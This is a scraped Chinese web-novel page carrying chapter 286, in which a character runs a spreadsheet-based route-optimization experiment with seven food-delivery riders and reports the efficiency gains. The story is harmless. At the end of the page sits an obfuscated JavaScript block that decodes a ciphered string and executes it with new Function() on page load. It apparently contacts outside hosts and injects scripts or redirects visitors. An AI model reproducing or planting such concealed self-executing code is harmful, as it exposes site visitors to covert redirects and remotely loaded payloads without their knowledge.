首页
第286章 午高峰的算法优化
返回
关灯 护眼:关 字号:小

第286章 午高峰的算法优化实验

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian100.com,更新快,无弹窗!

    第286章午高峰的算法优化实验(第1/2页)
    “外卖小哥接单网格”1.0版本运行一周后,其价值初步显现,但也暴露出显著的瓶颈。信息共享和简单的路径合并带来了约5-8%的效率提升,但这种提升很快触及天花板。瓶颈的核心在于:决策依然高度依赖骑手个体的瞬时判断和手工协调,在午高峰订单爆炸、时间压力巨大的环境下,人脑的并行处理能力和全局优化能力捉襟见肘。
    具体问题表现为:
    1.信息过载与决策瘫痪:高峰期间,群内订单播报信息刷屏。骑手在抢单、取餐、行驶的紧张过程中,很难快速浏览、理解并评估所有播报订单与自身路径的匹配度。许多潜在的合并机会因信息处理不及时而溜走。
    2.路径规划依然局部:即使看到他人的订单播报,骑手也只能基于自身当前路径和模糊的空间感做判断,缺乏对多订单、多骑手路径组合的全局优化视图。A觉得B的订单不顺路,但可能C的路径恰好能完美衔接A和B的订单,这种多边匹配靠人工聊天难以发现。
    3.协同提议成功率低:主动发出的“路径合并询问”经常因对方无暇查看、或已做出其他决策、或担心责任划分而石沉大海或遭拒。协调成功依赖于高度巧合的时机和双方的即时响应,成本高,稳定性差。
    4.数据沉淀不足:订单播报信息停留在聊天记录中,难以回溯分析。哪些商家出餐真的慢?哪些小区配送耗时规律?哪些网格间组合效率最高?这些有助于优化决策的经验,无法从碎片化的聊天记录中系统提炼。
    古民意识到,1.0版本解决了“信息有无”的问题,但未解决“信息如何高效转化为优质决策”的问题。要突破瓶颈,需要在现有“人工协作层”之上,引入一个极简的、辅助性的“决策支持层”。这不再是单纯靠规则和约定,而是需要一点点的、务实的“算法”思维——不是取代人的决策,而是为人的决策提供更优的“输入选项”和“可能性评估”。
    他决定启动“午高峰的算法优化实验”。目标:在不动用复杂编程、不增加骑手额外操作负担的前提下,利用现有工具和极简的数据记录,尝试为“接单网格”注入一点“智能”,提升协同匹配的成功率和整体路径效率。
    第一步:数据采集与模式分析(非高峰时段)
    古民在接下来一周的非午高峰时间,集中做了几件事:
    1.结构化日志记录:他设计了一个简单的在线表单(利用免费问卷工具),包含以下字段:[骑手编号][接单时间][取餐网格-商家类型][取餐实际耗时][送达网格-小区类型][送达实际耗时][总里程估算][特殊备注]。要求参与实验的7名骑手,在午高峰期间,每完成一单,尽可能抽空(例如在等电梯时)花15秒填写。为降低负担,大部分字段为下拉选择(预先定义好的网格编号、商家类型快/中/慢、小区类型易/中/难)。作为激励,每有效记录一单,额外获得2个“协作积分”。
    2.关键节点耗时采样:他亲自在几个典型商家聚集的网格(B3、D1)和主要小区入口,进行定时观察和抽样记录,用秒表粗略估算商家出餐中位时间、小区入口到单元楼的步行中位时间。
    3.路径距离估算基准:基于公开地图数据,结合骑手经验,为网格之间的主要路径(如从B3中心到A2中心)建立一个粗略的“基准骑行时间”和“距离区间”。
    一周后,他收集了约300单的有效结构化记录(尽管仍有遗漏,但已具代表性)。利用他作为数据分析师的基础技能,在电子表格中进行清洗和初步分析。
    核心发现:
    商家出餐时间分布:确认了“快餐饮”(如米粉、简餐)出餐中位时间约5-7分钟;“慢餐饮”(现炒、火锅)中位时间15-25分钟,且波动大。少数商家存在系统性“坑”(出餐极慢且不稳定)。
    小区送达耗时差异:有门禁、需上楼的老旧小区,从入口到送达平均耗时8-12分钟;新小区有电梯、可放快递柜的,平均耗时3-5分钟。某些写字楼园区在午高峰时出入登记耗时显著。
    路径组合潜力:分析订单流数据发现,B3网格(餐饮密集区)到A2、C1网格(办公区)的订单在11:30-12:15形成稳定“潮汐流”。D1网格(混合区)到E3、F2网格(住宅区)的订单在12:00-12:45形成另一股流。这两股“流向”存在交汇点,但当前随机抢单下,骑手路径交叉多,顺路合并机会未被系统发掘。
    第二步:设计“智能建议”规则集(决策支持层)
    基于数据分析,古民设计了几个简单的、可嵌入现有微信群流程的“智能建议”规则,旨在为骑手在关键决策点提供“提示”,而非取代决策。
    1.“避坑”商家预警:在午高峰开始前(10:50),由古民(或之后可固定由某人)在群里发布一条“午高峰商家出餐预警”,基于历史数据列出3-5个“已知慢且不稳定”的商家名单,建议骑手“谨慎接单或预留足够时间”。例如:[预警]午高峰慎接:D1-“老火锅”(出餐慢+波动大),B3-“功夫煲仔”(周末慢),C2-“现磨坊咖啡”(高峰排队久)。
    2.“顺路潜力”提示(核心优化):这是实验的关键。古民设计了一个基于微信群和共享在线表格的“半自动匹配提示”流程:
    工具:创建一个共享的在线表格(如腾讯文档),仅7名骑手可编辑。表格预先画好,行是时间(以5分钟为间隔,从11:00到13:30),列是7名骑手。每个单元格代表某个骑手在某个5分钟时间段的状态。
    状态更新:骑手抢到订单后,除了在微信群按原格式播报,必须立即在共享表格的对应自己名字列、对应时间段的单元格里,用简明代码更新状态。代码格式:[取餐网格]-[商家快/慢]-[送达网格]。例如,老王在11:05抢到一单,就在“老王”列、“11:00-11:05”或“11:05-11:10”的单元格里填入:B3-快-A2。如果正在配送途中,可简单标记运输中。如果刚完成配送,处于空闲寻单状态,标记空闲。
    匹配提示生成:古民(或指定一个稍有空闲的骑手,如刚好在等餐的)每隔5-10分钟快速扫描共享表格。基于表格中每个人的“计划取餐网格”、“计划送达网格”和“状态”,结合网格间基准距离和流向数据,人工寻找潜在的“路径合并”或“接力”机会。发现后,立即在微信群@相关骑手,给出具体建议。
    示例1(路径合并):@小王@小李潜在合并:小王你11:10-11:15在C1取餐送D2,小李你计划11:20-11:25在D1取餐送E3。你们取餐点临近(C1/D1相邻),且小王送D2后去D1或E3顺路?小李是否可考虑接小王D2的单顺路送,然后你俩在D2交接?可节省小王从D2折返时间。
    (本章未完,请点击下一页继续阅读)第286章午高峰的算法优化实验(第2/2页)
    示例2(订单接力):@小张你目前在B3,状态“空闲”。@小刘你11:15在B3取餐(慢商家)送A1。小张你是否可先去B3帮小刘取他另一单(如果在附近)?避免小刘在慢商家空等。
    这个“提示”并非命令,只是提供一个基于全局视图的优化建议。相关骑手需在1-2分钟内回应是否采纳。这相当于引入了一个低配版的、基于共享状态表的“人工调度观察员”。
    3.“异常响应”流程优化:针对异常通报,除了原有的互助建议,增加一条:通报人需在共享表格自己名字的对应时间单元格,用红色标记“异常”及预计延误时间。这样,其他骑手和“观察员”不仅能从群里看到文字,还能在表格视图上一目了然地看到谁、在何时段、陷入了何种延迟,更容易评估谁能提供有效协助。
    第三步:实验执行与对照
    新的“智能建议”规则集在接下来一周的午高峰实施。实验组仍是这7人。古民亲自担任第一周的“观察员-提示员”,负责维护共享表格和发布匹配提示。
    为评估效果,设立了更精细的对照指标(与引入“智能建议”前一周的数据对比):
    核心效率指标:午高峰人均完成单数、人均总骑行里程(估算)、平均每单耗时(从抢单到完成)。
    协同指标:路径合并/接力建议的提出数量、采纳数量、成功执行数量。
    体验指标:通过简短的每日问卷(1-2个问题),收集骑手对“商家预警”和“匹配提示”有用性的主观评分(1-5分),以及对操作复杂度的反馈。
    实验结果:
    第一、二天,操作生疏。更新共享表格经常被忘,或格式错误。古民的匹配提示有时因信息更新不及时而失效。但“商家预警”立即见效,被点名的商家订单被更谨慎对待,相关订单的整体延误率下降。
    第三、四天,习惯初步形成。骑手开始体会到共享表格的“全局视图”价值——即使不采纳具体建议,也能一眼看到队友们大概在什么位置、做什么,有助于自己规划。匹配提示的采纳率从初期的不到20%,上升到约40%。成功执行的合并/接力案例增加,出现了几次三人间的简单协同(A帮B取餐,B的订单部分由C顺路送达)。
    第五天(周五,订单量最大),实验效果凸显。午高峰,古民基于表格状态,密集发出了12条匹配提示,其中7条被采纳并成功执行。最成功的一例:骑手甲在D1接了“慢商家”单送E3,预计等餐20分钟;骑手乙在E2附近刚送完,状态“空闲”;骑手丙在D1接了“快商家”单也送E3。古民提示:@乙你现在E2空闲,可先去D1帮甲取他的另一单(如果在附近)吗?@丙你和甲都从D1送E3,可否在D1集合,由丙将两单一并取走(如果商家临近),到E3后分头送达?这样甲只需在D1等他的慢餐,避免空等。乙和丙评估后同意。结果:甲避免了在D1空等20分钟,利用这段时间在D1附近抢了另一单“快商家”短途单;丙一次性取走两份餐,提高了取餐效率;乙协助取餐获得小额报酬。一次协同,优化了三个人的路径。
    一周实验结束,数据对比(与前一周均值):
    人均完成单数:提升约12%。
    人均估算总里程:下降约10%(得益于更优的路径合并和订单组合)。
    平均每单耗时:缩短约9%(主要归因于“避坑”预警减少了异常长等待,以及协同减少了空驶和折返)。
    协同建议采纳率:从第一天的18%提升至周末的45%。
    主观体验评分:“商家预警”有用性平均分4.3;“匹配提示”有用性平均分3.8(部分骑手认为提示有时与自己直觉冲突,或操作稍显麻烦);整体复杂度评分3.0(中等,可接受)。
    结论与迭代方向:
    “午高峰的算法优化实验”证明,即使在资源极度有限(仅有微信群、共享在线表格和人工观察)的条件下,通过极简的数据结构化记录和基于规则的、人工辅助的全局视图与匹配提示,可以显著提升小规模协作网络的整体运行效率。关键在于将个人经验(哪些商家慢)和历史数据(订单流向)转化为可共享、可操作的“群体知识”和“决策辅助信息”。
    成功要素:
    1.数据驱动:简单的结构化日志,揭示了隐藏的模式(商家、小区、流向),使优化有据可依。
    2.全局视图:共享状态表提供了近乎实时的、简易的“协同态势图”,这是微信群纯文字流无法提供的。
    3.外部提示:一个相对抽离的“观察员-提示员”角色,提供了超越个体局部视角的优化建议。
    4.保持轻量:没有开发独立APP,所有工具都是现成的、免费的。规则核心依然是人在决策,系统只是提供更好的信息输入。
    待解决问题与下一步设想:
    1.可持续性:依赖古民或指定骑手做“观察员-提示员”并非长久之计。需探索能否将这个角色简化、标准化,或由骑手轮流担任?
    2.规模限制:当前方法在7人小规模下有效,如果扩大到15人甚至更多,共享表格将变得混乱,人工匹配提示的计算复杂度将急剧上升,可能失效。
    3.自动化可能:能否将商家预警、状态更新、甚至简单的匹配建议,通过更自动化的方式(例如,一个极简的、基于模板的微信群机器人?一个专门的最小化网页应用?)来实现,进一步降低人工负担?
    古民在“寒门财商实验室-实验记录001号”的附录中,详细记录了此次“算法优化实验”的设计、数据、结果和反思。这次实验不仅是效率的提升,更是一次重要的方**验证:在“寒门”场景下,有限的数据、简单的工具、清晰的规则,结合人的灵活判断,可以产生显著的协同效应。它为后续探索其他领域的协作优化(如保洁、工友互助)提供了可借鉴的范式:从问题出发,用数据理解模式,设计最小化增强规则,快速实验迭代。
    “午高峰的算法优化实验”暂时告一段落。它没有创造出什么高科技产品,但它在一个粗糙的现实场景中,验证了“寒门财商”的一个核心假设:即使资源匮乏,通过智慧的协作设计和一点点数据思维,普通人也能在既定系统的缝隙中,为自己争取到更多一点的效率和掌控感。这个实验的成果和教训,将被带入下一个可能的“产品”探索中。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();